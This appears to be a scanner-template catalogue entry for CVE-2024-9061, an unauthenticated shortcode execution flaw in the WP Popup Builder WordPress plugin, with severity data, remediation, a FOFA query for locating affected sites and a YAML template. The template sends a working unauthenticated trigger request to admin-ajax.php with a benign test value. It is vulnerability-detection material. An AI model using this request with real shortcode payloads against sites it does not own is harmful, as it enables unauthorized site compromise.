CVE-2024-9061: WP Popup Builder Popup Forms and Marketing Lead Generation <= 1.3.5 - Arbitrary Shortcode Execution
- Template: CVE-2024-9061
- Name: WP Popup Builder Popup Forms and Marketing Lead Generation <= 1.3.5 - Arbitrary Shortcode Execution
- Description: The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
- Impact: Unauthenticated attackers can execute arbitrary shortcodes through the AJAX action, potentially leading to information disclosure, privilege escalation, or remote code execution depending on available shortcodes in the WordPress installation.
- Remediation: Update WP Popup Builder plugin to a version later than 1.3.5 that properly validates values before executing do_shortcode in the wp_ajax_nopriv_shortcode_Api_Add AJAX action.
- Severity: high
- Authors: s4e-io
- Tags: cve, cve2024, wp, wordpress, wp-plugin, wp-popup-builder, shortcode, vuln
- References: https://nvd.nist.gov/vuln/detail/CVE-2024-9061, https://www.wordfence.com/threat-intel/vulnerabilities/id/0cac1dc0-87dc-43eb-9db1-638a91200b43?source=cve, https://github.com/RandomRobbieBF/CVE-2024-9061
- Cves: CVE-2024-9061
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-9061.yaml
- Digest: 4b0a0048304602210086d4ebe2bbc22e1646c5b9079616c1fc1da249b547fbdf6a26da586675359bc7022100a6a5ff2ee4090cd4d9968c48f451916dc17e6d599b722b6591542cd88f07f2b9
- Created at: 2024-10-28T07:56:28Z
- Updated at: 2026-11-22T02:03:55Z
- Age in days: 757
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-9061.yaml
Classification
- Cwe: CWE-94
- Cvss score: 7.3
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Epss score: 0.53631
- Epss percentile: 0.99018
- Not known: cpe
Metadata
- Fofa-query: body="/wp-content/plugins/wp-popup-builder/"
- Framework: wordpress
- Max-request: 2
- Product: wp-popup-builder
- Vendor: themehunk
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| themehunk:wp-popup-builder | no | — |
Labels
- Name: WP Popup Builder - Template Injection
- Impact: Attackers can execute arbitrary shortcodes, potentially leading to remote code execution or site compromise.
- Remediation: Update to the latest version of the plugin, version 1.3.6 or later.
- Vulnerability type: template_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-9061
- Not known: requirements
```yaml
id: CVE-2024-9061
info:
name: WP Popup Builder Popup Forms and Marketing Lead Generation <= 1.3.5 - Arbitrary Shortcode Execution
author: s4e-io
severity: high
description: |
The The WP Popup Builder Popup Forms and Marketing Lead Generation plugin for WordPress is vulnerable to arbitrary shortcode execution via the wp_ajax_nopriv_shortcode_Api_Add AJAX action in all versions up to, and including, 1.3.5. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
impact: |
Unauthenticated attackers can execute arbitrary shortcodes through the AJAX action, potentially leading to information disclosure, privilege escalation, or remote code execution depending on available shortcodes in the WordPress installation.
remediation: |
Update WP Popup Builder plugin to a version later than 1.3.5 that properly validates values before executing do_shortcode in the wp_ajax_nopriv_shortcode_Api_Add AJAX action.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-9061
- https://github.com/RandomRobbieBF/CVE-2024-9061
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2024-9061
cwe-id: CWE-94
epss-score: 0.53631
epss-percentile: 0.99018
metadata:
max-request: 2
verified: true
vendor: themehunk
product: wp-popup-builder
framework: wordpress
fofa-query: body="/wp-content/plugins/wp-popup-builder/"
tags: cve,cve2024,wp,wordpress,wp-plugin,wp-popup-builder,shortcode,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/wp-popup-builder")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=shortcode_Api_Add&shortcode=%43%56%45%2d%32%30%32%34%2d%39%30%36%31
matchers:
- type: dsl
dsl:
- 'len(body) == 13'
- 'contains(body, "CVE-2024-9061")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
digest: 4b0a0048304602210086d4ebe2bbc22e1646c5b9079616c1fc1da249b547fbdf6a26da586675359bc7022100a6a5ff2ee4090cd4d9968c48f451916dc17e6d599b722b6591542cd88f07f2b9:922c64590222798bb761d5b6d8e72950
```